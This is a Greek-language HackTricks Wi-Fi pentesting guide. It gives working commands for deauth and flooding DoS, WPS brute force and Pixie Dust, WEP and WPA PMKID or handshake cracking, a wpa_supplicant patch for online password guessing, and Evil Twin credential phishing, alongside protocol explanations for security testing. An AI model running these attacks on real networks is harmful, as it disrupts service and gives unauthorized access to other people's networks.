Pentesting Wifi
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Wifi βασικές εντολές
ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
airodump-ng wlan0mon --wps #Scan WPS
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
iwlist wlan0 scan #Scan available wifis
Εργαλεία
Hijacker & NexMon (εσωτερικό Wi-Fi Android)
Enable Nexmon Monitor And Injection On Android
EAPHammer
git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup
Airgeddon
mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe
Τρέξτε airgeddon με docker
docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon
Από: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux
wifiphisher
Μπορεί να πραγματοποιήσει επιθέσεις Evil Twin, KARMA και Known Beacons και στη συνέχεια να χρησιμοποιήσει ένα phishing template για να καταφέρει να αποκτήσει τον πραγματικό κωδικό του δικτύου ή να αποσπάσει social network credentials.
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies
Wifite2
Αυτό το εργαλείο αυτοματοποιεί επιθέσεις WPS/WEP/WPA-PSK. Θα εκτελέσει αυτόματα:
- Θέτει τη διεπαφή σε monitor mode
- Σκανάρει για πιθανά δίκτυα - και σας επιτρέπει να επιλέξετε το/τα θύμα(τα)
- Αν WEP - ξεκινά επιθέσεις WEP
- Αν WPA-PSK
- Αν WPS: Pixie dust attack και η bruteforce attack (προσοχή: η brute-force επίθεση μπορεί να διαρκέσει πολύ). Σημειώστε ότι δεν δοκιμάζει null PIN ή database/generated PINs.
- Προσπαθεί να καταγράψει το PMKID από το AP για να το crackάρει
- Προσπαθεί να deauthenticate πελάτες του AP για να καταγράψει ένα handshake
- Αν PMKID ή Handshake, προσπαθεί brute-force χρησιμοποιώντας top5000 passwords.
Περίληψη Επιθέσεων
- DoS
- Deauthentication/disassociation – Αποσυνδέει όλους (ή ένα συγκεκριμένο ESSID/Client)
- Random fake APs – Κρύβει δίκτυα, πιθανή συντριβή scanners
- Overload AP – Προσπαθεί να “σκοτώσει” το AP (συνήθως όχι πολύ χρήσιμο)
- WIDS – Πειράζει το IDS
- TKIP, EAPOL – Ορισμένες συγκεκριμένες επιθέσεις για DoS κάποιων APs
- Cracking
- Crack WEP (διάφορα εργαλεία και μέθοδοι)
- WPA-PSK
- WPS pin “Brute-Force”
- WPA PMKID bruteforce
- [DoS +] WPA handshake capture + Cracking
- WPA-MGT
- Username capture
- Bruteforce Credentials
- Evil Twin (with or without DoS)
- Open Evil Twin [+ DoS] – Χρήσιμο για να συλλέξετε captive portal creds και/ή να πραγματοποιήσετε LAN attacks
- WPA-PSK Evil Twin – Χρήσιμο για network attacks αν γνωρίζετε το password
- WPA-MGT – Χρήσιμο για τη συλλογή εταιρικών credentials
- KARMA, MANA, Loud MANA, Known beacon
- + Open – Χρήσιμο για να συλλέξετε captive portal creds και/ή να εκτελέσετε LAN attacks
- + WPA – Χρήσιμο για να συλλέξετε WPA handshakes
Σύντομες σημειώσεις για Open / OWE δίκτυα
- Passive capture σε open SSIDs εξακολουθεί να λειτουργεί με monitor mode και tcpdump:
iw wlan0 set type monitor
ip link set wlan0 up
iw wlan0 set channel 6
tcpdump -i wlan0 -w capture.pcap
- OWE (Opportunistic Wireless Encryption) performs a per-station key exchange (no PSK), so air frames are encrypted even on “open” SSIDs. Being WPA3-based, it also enforces 802.11w PMF, which blocks spoofed deauth/disassoc frames.
- OWE does not authenticate joiners: anyone can associate, so verify client isolation instead of trusting marketing claims. Without isolation, ARP spoofing or responder-style poisoning on the local L2 still works.
- Evil Twin remains feasible on open/OWE SSIDs by presenting a stronger signal; PMF just removes the deauth shortcut. If victims accept a forged TLS cert, full HTTP(S) MitM is regained.
- Broadcast poisoning on open guest Wi-Fi easily yields creds/hashes (LLMNR/NBT-NS/mDNS). See:
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
DOS
Deauthentication Packets
Περιγραφή από here:.
Deauthentication attacks, a prevalent method in Wi-Fi hacking, involve forging “management” frames to να αναγκάσουν συσκευές να αποσυνδεθούν από ένα δίκτυο. Αυτά τα μη κρυπτογραφημένα πακέτα εξαπατούν τους clients κάνοντάς τους να πιστεύουν ότι προέρχονται από το νόμιμο δίκτυο, δίνοντας τη δυνατότητα στους επιτιθέμενους να συλλέξουν WPA handshakes για σκοπούς cracking ή να διαταράξουν επανειλημμένα τις συνδέσεις του δικτύου. Αυτή η τακτική, ανησυχητική στην απλότητά της, χρησιμοποιείται ευρέως και έχει σημαντικές επιπτώσεις για την ασφάλεια των δικτύων.
Deauthentication με Aireplay-ng
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
- -0 σημαίνει deauthentication
- 1 είναι ο αριθμός των deauths που θα σταλούν (μπορείτε να στείλετε πολλαπλά αν το επιθυμείτε); 0 σημαίνει να τα στέλνετε συνεχώς
- -a 00:14:6C:7E:40:80 είναι η διεύθυνση MAC του access point
- -c 00:0F:B5:34:30:30 είναι η διεύθυνση MAC του client που θα deauthenticate· αν αυτό παραληφθεί τότε αποστέλλεται broadcast deauthentication (δεν δουλεύει πάντα)
- ath0 είναι το όνομα της διεπαφής
Disassociation Packets
Disassociation packets, παρόμοια με deauthentication packets, είναι ένας τύπος management frame που χρησιμοποιείται σε δίκτυα Wi‑Fi. Αυτά τα πακέτα χρησιμεύουν για να διακόψουν τη σύνδεση μεταξύ μιας συσκευής (όπως laptop ή smartphone) και ενός σημείου πρόσβασης (AP). Η βασική διαφορά μεταξύ disassociation και deauthentication βρίσκεται στα σενάρια χρήσης τους. Ενώ ένα AP εκπέμπει deauthentication packets to remove rogue devices explicitly from the network, disassociation packets are typically sent when the AP is undergoing a shutdown, επανεκκίνηση ή μετακίνηση, αναγκάζοντας έτσι την αποσύνδεση όλων των συνδεδεμένων κόμβων.
This attack can be performed by mdk4(mode “d”):
# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
Περισσότερες DOS επιθέσεις από mdk4
Δείτε εδώ.
ATTACK MODE b: Beacon Flooding
Αποστέλλει beacon frames για να εμφανίσει fake APs στους clients. Αυτό μπορεί μερικές φορές να προκαλέσει crash σε network scanners και ακόμη και drivers!
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m
ATTACK MODE a: Authentication Denial-Of-Service
Η αποστολή πλαισίων αυθεντικοποίησης σε όλα τα προσβάσιμα Access Points (APs) εντός εμβέλειας μπορεί να υπερφορτώσει αυτά τα APs, ειδικά όταν εμπλέκονται πολλοί clients. Αυτή η έντονη κίνηση μπορεί να οδηγήσει σε αστάθεια του συστήματος, προκαλώντας κάποια APs να παγώσουν ή ακόμη και να επανεκκινηθούν.
# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
ATTACK MODE p: SSID Probing and Bruteforcing
Η ανίχνευση Access Points (APs) ελέγχει εάν ένα SSID εμφανίζεται σωστά και επιβεβαιώνει την εμβέλεια του AP. Αυτή η τεχνική, σε συνδυασμό με bruteforcing hidden SSIDs με ή χωρίς wordlist, βοηθά στον εντοπισμό και την πρόσβαση σε κρυφά δίκτυα.
ATTACK MODE m: Michael Countermeasures Exploitation
Η αποστολή τυχαίων ή διπλότυπων πακέτων σε διαφορετικές ουρές QoS μπορεί να ενεργοποιήσει Michael Countermeasures σε TKIP APs, οδηγώντας σε προσωρινό κλείσιμο του AP για ένα λεπτό. Αυτή η μέθοδος είναι μια αποτελεσματική τακτική επίθεσης DoS (Denial of Service).
# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
ATTACK MODE e: EAPOL Start and Logoff Packet Injection
Το να κατακλύζεις ένα AP με EAPOL Start frames δημιουργεί fake sessions, υπερφορτώνοντας το AP και αποκλείοντας νόμιμους πελάτες. Εναλλακτικά, η έγχυση fake EAPOL Logoff messages αποσυνδέει αναγκαστικά τους πελάτες — και οι δύο μέθοδοι διαταράσσουν αποτελεσματικά την υπηρεσία δικτύου.
# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
ATTACK MODE s: Επιθέσεις για IEEE 802.11s mesh δίκτυα
Διάφορες επιθέσεις στο link management και routing σε mesh δίκτυα.
ATTACK MODE w: WIDS Σύγχυση
Η cross-connecting των clients σε πολλαπλούς WDS nodes ή σε ψεύτικα rogue APs μπορεί να χειραγωγήσει Intrusion Detection and Prevention Systems, προκαλώντας σύγχυση και πιθανή κατάχρηση του συστήματος.
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]
ATTACK MODE f: Packet Fuzzer
Ένας Packet Fuzzer που παρέχει ποικίλες πηγές πακέτων και ένα πλήρες σετ τροποποιητών για τον χειρισμό πακέτων.
Airggedon
Airgeddon προσφέρει τις περισσότερες από τις επιθέσεις που προτάθηκαν στα προηγούμενα σχόλια:
.png)
WPS
WPS (Wi-Fi Protected Setup) απλοποιεί τη διαδικασία σύνδεσης συσκευών σε έναν router, αυξάνοντας την ταχύτητα και την ευκολία ρύθμισης για δίκτυα κρυπτογραφημένα με WPA ή WPA2 Personal. Είναι αναποτελεσματικό απέναντι στην ασφάλεια WEP, που παραβιάζεται εύκολα. Το WPS χρησιμοποιεί έναν 8-ψήφιο PIN, επικυρωμένο σε δύο μισά, κάνοντάς το ευάλωτο σε brute-force attacks λόγω του περιορισμένου αριθμού συνδυασμών (11,000 possibilities).
WPS Bruteforce
Υπάρχουν 2 κύρια εργαλεία για την εκτέλεση αυτής της ενέργειας: Reaver και Bully.
- Reaver έχει σχεδιαστεί να είναι μια ανθεκτική και πρακτική επίθεση εναντίον του WPS, και έχει δοκιμαστεί εναντίον μιας μεγάλης ποικιλίας access points και WPS implementations.
- Bully είναι μια new implementation της WPS brute force attack, γραμμένη σε C. Έχει αρκετά πλεονεκτήματα σε σχέση με τον original reaver code: λιγότερες dependencies, βελτιωμένη απόδοση μνήμης και cpu, σωστή διαχείριση endianness, και ένα πιο robust σετ επιλογών.
Η επίθεση εκμεταλλεύεται την WPS PIN’s vulnerability, ιδιαίτερα την αποκάλυψη των πρώτων τεσσάρων ψηφίων και τον ρόλο του τελευταίου ψηφίου ως checksum, διευκολύνοντας το brute-force attack. Ωστόσο, οι άμυνες κατά των brute-force attacks, όπως το blocking MAC addresses επιθετικών εισβολέων, απαιτούν MAC address rotation για να συνεχίσει η επίθεση.
Μετά την απόκτηση του WPS PIN με εργαλεία όπως Bully ή Reaver, ο επιτιθέμενος μπορεί να εξαγάγει το WPA/WPA2 PSK, εξασφαλίζοντας persistent network access.
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
Smart Brute Force
Αυτή η βελτιωμένη προσέγγιση στοχεύει τα WPS PINs χρησιμοποιώντας γνωστές ευπάθειες:
- Pre-discovered PINs: Χρησιμοποιεί μια βάση δεδομένων με γνωστά PINs που συνδέονται με συγκεκριμένους κατασκευαστές γνωστούς για τη χρήση ομοιόμορφων WPS PINs. Αυτή η βάση αντιστοιχίζει τα πρώτα τρία οκτέτ των MAC-addresses με πιθανά PINs για αυτούς τους κατασκευαστές.
- PIN Generation Algorithms: Εκμεταλλεύεται αλγορίθμους όπως ComputePIN και EasyBox, που υπολογίζουν WPS PINs βάσει του MAC-address του AP. Ο αλγόριθμος Arcadyan επιπλέον απαιτεί ένα device ID, προσθέτοντας ένα επίπεδο στη διαδικασία δημιουργίας PIN.
WPS Pixie Dust attack
Dominique Bongard ανακάλυψε ένα σφάλμα σε κάποια Access Points (APs) σχετικά με τη δημιουργία μυστικών κωδικών, γνωστών ως nonces (E-S1 και E-S2). Αν αυτά τα nonces μπορέσουν να εξακριβωθούν, το cracking του WPS PIN του AP γίνεται εύκολο. Το AP αποκαλύπτει το PIN μέσα σε έναν ειδικό κωδικό (hash) για να αποδείξει ότι είναι νόμιμο και όχι ψεύτικο (rogue) AP. Αυτά τα nonces είναι ουσιαστικά τα “κλειδιά” για να ξεκλειδωθεί το “κουτί” που κρατά το WPS PIN. Περισσότερα γι’ αυτό μπορείτε να βρείτε εδώ.
Με απλά λόγια, το πρόβλημα είναι ότι κάποια APs δεν χρησιμοποίησαν αρκετά τυχαία κλειδιά για την κρυπτογράφηση του PIN κατά τη διαδικασία σύνδεσης. Αυτό καθιστά το PIN ευάλωτο στο να μαντευτεί από έξω από το δίκτυο (offline brute force attack).
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
Αν δεν θέλεις να βάλεις τη συσκευή σε monitor mode, ή αν τα reaver και bully έχουν κάποιο πρόβλημα, μπορείς να δοκιμάσεις OneShot-C. Αυτό το εργαλείο μπορεί να πραγματοποιήσει Pixie Dust attack χωρίς να χρειάζεται να αλλάξεις σε monitor mode.
./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37
Null Pin attack
Ορισμένα κακοσχεδιασμένα συστήματα επιτρέπουν ακόμα και σε ένα Null PIN (ένα κενό ή ανύπαρκτο PIN) να παρέχει πρόσβαση, κάτι που είναι μάλλον ασυνήθιστο. Το εργαλείο Reaver μπορεί να δοκιμάσει αυτή την ευπάθεια, σε αντίθεση με το Bully.
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
Airgeddon
Όλες οι προτεινόμενες WPS επιθέσεις μπορούν εύκολα να εκτελεστούν χρησιμοποιώντας airgeddon.
.png)
- 5 και 6 σας επιτρέπουν να δοκιμάσετε τον προσαρμοσμένο σας PIN (αν έχετε)
- 7 και 8 εκτελούν την Pixie Dust attack
- 13 σας επιτρέπει να δοκιμάσετε το NULL PIN
- 11 και 12 θα ανακτήσουν τα PINs που σχετίζονται με το επιλεγμένο AP από διαθέσιμες βάσεις δεδομένων και θα παράγουν πιθανά PINs χρησιμοποιώντας: ComputePIN, EasyBox και προαιρετικά Arcadyan (συνιστάται, γιατί όχι?)
- 9 και 10 θα δοκιμάσουν κάθε πιθανό PIN
WEP
Γιατί καταρρέει
- Το RC4 seed είναι απλώς IV (24 bits) + shared key. Το IV είναι σε cleartext, μικρό (2^24) και επαναλαμβάνεται γρήγορα, οπότε τα ciphertexts με το ίδιο IV ξαναχρησιμοποιούν το keystream.
- XORing δύο ciphertexts με το ίδιο keystream leaks
PlaintextA ⊕ PlaintextB; τα predictable headers + RC4 KSA biases (FMS) σας επιτρέπουν να «vote» bytes του key. PTW βελτιστοποιεί αυτό χρησιμοποιώντας ARP traffic για να μειώσει τις απαιτήσεις σε δεκάδες χιλιάδες πακέτα αντί για εκατομμύρια. - Η ακεραιότητα είναι μόνο CRC32 (linear/unkeyed), οπότε ένας attacker μπορεί να αλλάξει bits και να επανυπολογίσει CRC32 χωρίς το key → packet forgery/replay/ARP injection ενώ περιμένει για IVs.
Η πρακτική παραβίαση είναι ντετερμινιστική:
airodump-ng --bssid <BSSID> --channel <ch> --write wep_capture wlan1mon # collect IVs
# optionally speed up IVs without deauth by replaying ARP
aireplay-ng --arpreplay -b <BSSID> -h <clientMAC> wlan1mon
aircrack-ng wep_capture-01.cap # PTW attack recovers key once IV threshold is met
Το Airgeddon εξακολουθεί να περιλαμβάνει ένα “All-in-One” WEP workflow αν προτιμάτε ένα καθοδηγούμενο UI.
.png)
WPA/WPA2 PSK
PMKID
Το 2018, ο hashcat αποκάλυψε μια νέα μέθοδο επίθεσης, μοναδική επειδή χρειάζεται μόνο ένα μόνο πακέτο και δεν απαιτεί να υπάρχουν πελάτες συνδεδεμένοι στο στοχευόμενο AP — μόνο αλληλεπίδραση μεταξύ του επιτιθέμενου και του AP.
Πολλοί σύγχρονοι δρομολογητές προσθέτουν ένα προαιρετικό πεδίο στο πρώτο EAPOL πλαίσιο κατά τη σύνδεση, γνωστό ως Robust Security Network. Αυτό περιλαμβάνει το PMKID.
Όπως εξηγεί η αρχική ανάρτηση, το PMKID δημιουργείται χρησιμοποιώντας γνωστά δεδομένα:
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
Δεδομένου ότι το “PMK Name” είναι σταθερό, γνωρίζουμε το BSSID του AP και το station, και το PMK είναι ταυτόσημο με αυτό από ένα πλήρες 4-way handshake, το hashcat μπορεί να χρησιμοποιήσει αυτές τις πληροφορίες για να σπάσει το PSK και να ανακτήσει το passphrase!
Για να gather αυτές τις πληροφορίες και να bruteforce το password τοπικά μπορείτε να κάνετε:
airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
Τα PMKIDs που συλλέχθηκαν θα εμφανιστούν στην console και επίσης θα αποθηκευτούν μέσα στο _ /tmp/attack.pcap_
Τώρα, μετατρέψτε την καταγραφή σε hashcat/john μορφή και crack it:
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
Σημειώστε ότι η μορφή ενός σωστού hash περιέχει 4 μέρη, όπως: 4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838 Αν το δικό σας περιέχει μόνο 3 μέρη, τότε είναι μη έγκυρο (η καταγραφή PMKID δεν ήταν έγκυρη).
Σημειώστε ότι το hcxdumptool επίσης καταγράφει handshakes (κάτι σαν αυτό θα εμφανιστεί: MP:M1M2 RC:63258 EAPOLTIME:17091). Μπορείτε να μετατρέψετε τα handshakes σε μορφή hashcat/john χρησιμοποιώντας το cap2hccapx
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
Έχω παρατηρήσει ότι ορισμένα handshakes που καταγράφηκαν με αυτό το εργαλείο δεν μπόρεσαν να cracked ακόμα κι αν γνωρίζαμε το σωστό password. Συνιστώ να καταγράφετε handshakes και με τον παραδοσιακό τρόπο όταν είναι δυνατό, ή να καταγράψετε αρκετά από αυτά χρησιμοποιώντας αυτό το εργαλείο.
Handshake capture
Μια επίθεση σε WPA/WPA2 δίκτυα μπορεί να εκτελεστεί συλλαμβάνοντας ένα handshake και προσπαθώντας να crack το password offline. Αυτή η διαδικασία περιλαμβάνει την παρακολούθηση της επικοινωνίας ενός συγκεκριμένου δικτύου και της BSSID σε ένα συγκεκριμένο channel. Ακολουθεί ένας σύντομος οδηγός:
- Προσδιορίστε την BSSID, το channel, και έναν connected client του στοχευόμενου δικτύου.
- Χρησιμοποιήστε
airodump-ngγια να παρακολουθήσετε την κίνηση του δικτύου στο συγκεκριμένο channel και BSSID, ελπίζοντας να καταγράψετε ένα handshake. Η εντολή θα μοιάζει με αυτήν:
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
- Για να αυξήσετε την πιθανότητα σύλληψης ενός handshake, αποσυνδέστε στιγμιαία τον client από το δίκτυο για να τον αναγκάσετε σε re-authentication. Αυτό μπορεί να γίνει χρησιμοποιώντας την εντολή
aireplay-ng, η οποία στέλνει πακέτα deauthentication στον client:
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
Σημειώστε ότι καθώς ο client ήταν deauthenticated, μπορεί να προσπαθήσει να συνδεθεί σε διαφορετικό AP ή, σε άλλες περιπτώσεις, σε διαφορετικό network.
Μόλις στο airodump-ng εμφανιστούν πληροφορίες handshake αυτό σημαίνει ότι το handshake καταγράφηκε και μπορείτε να σταματήσετε την ακρόαση:
 (1).png)
Μόλις το handshake καταγραφεί μπορείτε να το crack με aircrack-ng:
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
Έλεγχος αν υπάρχει handshake σε αρχείο
aircrack
aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture
tshark
tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.
cowpatty -r psk-01.cap -s "ESSID" -f -
Αν αυτό το εργαλείο βρει ένα μη ολοκληρωμένο handshake ενός ESSID πριν από το ολοκληρωμένο handshake, δεν θα ανιχνεύσει το έγκυρο handshake.
pyrit
apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze
Γρηγορότερη online δοκιμή PSK μέσω wpa_supplicant ctrl socket (no clients/PMKID)
- Όταν δεν υπάρχουν clients και το AP αρνείται PMKID, μπορείτε να δοκιμάσετε PSKs online χωρίς να επανεκκινήσετε supplicants:
- Patch
wpa_supplicant.cγια να αναγκάσετεdur = 0;στη λογική backoff αποτυχίας αυθεντικοποίησης (γύρω απόssid->auth_failures), απενεργοποιώντας ουσιαστικά τον temporary-disable timer. - Τρέξτε ένα μόνο daemon με control socket:
# wpa_supplicant.conf
ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=root
update_config=1
wpa_supplicant -B -i wlp3s0 -c wpa_supplicant.conf
- Χειριστείτε το μέσω της διεπαφής ελέγχου, επαναχρησιμοποιώντας την ίδια σάρωση και το ίδιο δίκτυο:
ADD_NETWORK
SET_NETWORK 0 ssid "<ssid>"
ENABLE_NETWORK 0
SCAN
(loop)
SET_NETWORK 0 psk "<candidate>"
REASSOCIATE
wait for CTRL-EVENT-CONNECTED / DISCONNECTED
Ένας μικρός βρόχος Python που διαβάζει socket events (CTRL-EVENT-CONNECTED / CTRL-EVENT-DISCONNECTED) μπορεί να δοκιμάσει ~100 υποθέσεις σε ~5 λεπτά χωρίς το overhead της σάρωσης. Παραμένει όμως θορυβώδης και ανιχνεύσιμος, αλλά αποφεύγει τις επανεκκινήσεις διεργασίας ανά προσπάθεια και τις καθυστερήσεις backoff.
WPA Enterprise (MGT)
Σε enterprise WiFi εγκαταστάσεις, θα συναντήσετε διάφορες μεθόδους authentication, η κάθε μία παρέχει διαφορετικά επίπεδα ασφάλειας και δυνατότητες διαχείρισης. Όταν χρησιμοποιείτε εργαλεία όπως airodump-ng για να εξετάσετε την κυκλοφορία δικτύου, μπορεί να παρατηρήσετε identifiers για αυτούς τους τύπους authentication. Κάποιες κοινές μέθοδοι περιλαμβάνουν:
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
- EAP-GTC (Generic Token Card):
- Αυτή η μέθοδος υποστηρίζει hardware tokens και one-time passwords μέσα σε EAP-PEAP. Σε αντίθεση με MSCHAPv2, δεν χρησιμοποιεί peer challenge και στέλνει τους κωδικούς σε plaintext στο access point, εκθέτοντας σε κίνδυνο για downgrade attacks.
- EAP-MD5 (Message Digest 5):
- Περιλαμβάνει την αποστολή του MD5 hash του κωδικού από τον client. Δεν συνιστάται λόγω ευπάθειας σε dictionary attacks, έλλειψης server authentication και αδυναμίας παραγωγής session-specific WEP keys.
- EAP-TLS (Transport Layer Security):
- Χρησιμοποιεί client-side και server-side certificates για authentication και μπορεί να δημιουργεί δυναμικά user-based και session-based WEP keys για την ασφάλεια των επικοινωνιών.
- EAP-TTLS (Tunneled Transport Layer Security):
- Παρέχει mutual authentication μέσω ενός encrypted tunnel, μαζί με μέθοδο για παραγωγή dynamic, per-user, per-session WEP keys. Απαιτεί μόνο server-side certificates, ενώ οι clients χρησιμοποιούν credentials.
- PEAP (Protected Extensible Authentication Protocol):
- Λειτουργεί παρόμοια με EAP δημιουργώντας ένα TLS tunnel για προστατευμένη επικοινωνία. Επιτρέπει τη χρήση ασθενέστερων authentication protocols πάνω από EAP λόγω της προστασίας που παρέχει το tunnel.
- PEAP-MSCHAPv2: Συχνά αναφέρεται απλώς ως PEAP, συνδυάζει τον ευπαθή μηχανισμό challenge/response του MSCHAPv2 με ένα προστατευτικό TLS tunnel.
- PEAP-EAP-TLS (or PEAP-TLS): Παρόμοιο με EAP-TLS αλλά ξεκινάει ένα TLS tunnel πριν την ανταλλαγή certificates, προσφέροντας ένα επιπλέον επίπεδο ασφάλειας.
You can find more information about these authentication methods here and here.
Username Capture
Reading https://tools.ietf.org/html/rfc3748#page-27 it looks like if you are using EAP the “Identity” messages must be supported, and the username is going to be sent in clear in the “Response Identity” messages.
Even using one of the most secure of authentication methods: PEAP-EAP-TLS, it is possible to capture the username sent in the EAP protocol. Για να το κάνετε, capture a authentication communication (ξεκινήστε airodump-ng μέσα στο κανάλι και wireshark στην ίδια interface) και φιλτράρετε τα πακέτα με eapol.
Μέσα στο πακέτο “Response, Identity”, θα εμφανιστεί το username του client.
.png)
Anonymous Identities
Το identity hiding υποστηρίζεται τόσο από EAP-PEAP όσο και από EAP-TTLS. Σε ένα WiFi περιβάλλον, ένα EAP-Identity request τυπικά ξεκινά από το access point (AP) κατά τη διαδικασία association. Για να διασφαλιστεί η προστασία της ανωνυμίας του χρήστη, η απάντηση από τον EAP client στη συσκευή του χρήστη περιέχει μόνο τις απαραίτητες πληροφορίες που χρειάζεται ο αρχικός RADIUS server για να επεξεργαστεί το request. Αυτή η ιδέα εξηγείται με τα παρακάτω σενάρια:
- EAP-Identity = anonymous
- Σε αυτό το σενάριο, όλοι οι χρήστες χρησιμοποιούν το ψευδωνυμικό “anonymous” ως user identifier. Ο αρχικός RADIUS server λειτουργεί είτε ως EAP-PEAP είτε ως EAP-TTLS server, υπεύθυνος για τη διαχείριση του server-side του PEAP ή TTLS πρωτοκόλλου. Η inner (protected) authentication method στη συνέχεια είτε διαχειρίζεται τοπικά είτε ανατίθεται σε έναν απομακρυσμένο (home) RADIUS server.
- EAP-Identity = anonymous@realm_x
- Σε αυτή την περίπτωση, χρήστες από διαφορετικά realms αποκρύπτουν τις ταυτότητές τους ενώ δηλώνουν τα αντίστοιχα realms. Αυτό επιτρέπει στον αρχικό RADIUS server να προωθήσει (proxy) τα EAP-PEAP ή EAP-TTLS requests στους RADIUS servers στα home realms τους, οι οποίοι λειτουργούν ως PEAP ή TTLS server. Ο αρχικός RADIUS server λειτουργεί αποκλειστικά ως κόμβος RADIUS relay.
- Εναλλακτικά, ο αρχικός RADIUS server μπορεί να λειτουργεί ως ο EAP-PEAP ή EAP-TTLS server και είτε να διαχειρίζεται το protected authentication method είτε να το προωθεί σε άλλον server. Αυτή η επιλογή διευκολύνει τη ρύθμιση ξεχωριστών πολιτικών για διαφορετικά realms.
Στο EAP-PEAP, μόλις εγκατασταθεί το TLS tunnel μεταξύ του PEAP server και του PEAP client, ο PEAP server ξεκινά ένα EAP-Identity request και το μεταδίδει μέσω του TLS tunnel. Ο client απαντά σε αυτό το δεύτερο EAP-Identity request στέλνοντας ένα EAP-Identity response που περιέχει την πραγματική ταυτότητα του χρήστη μέσω του encrypted tunnel. Αυτή η προσέγγιση αποτρέπει αποτελεσματικά την αποκάλυψη της πραγματικής ταυτότητας του χρήστη σε οποιονδήποτε καταγράφει την κίνηση 802.11.
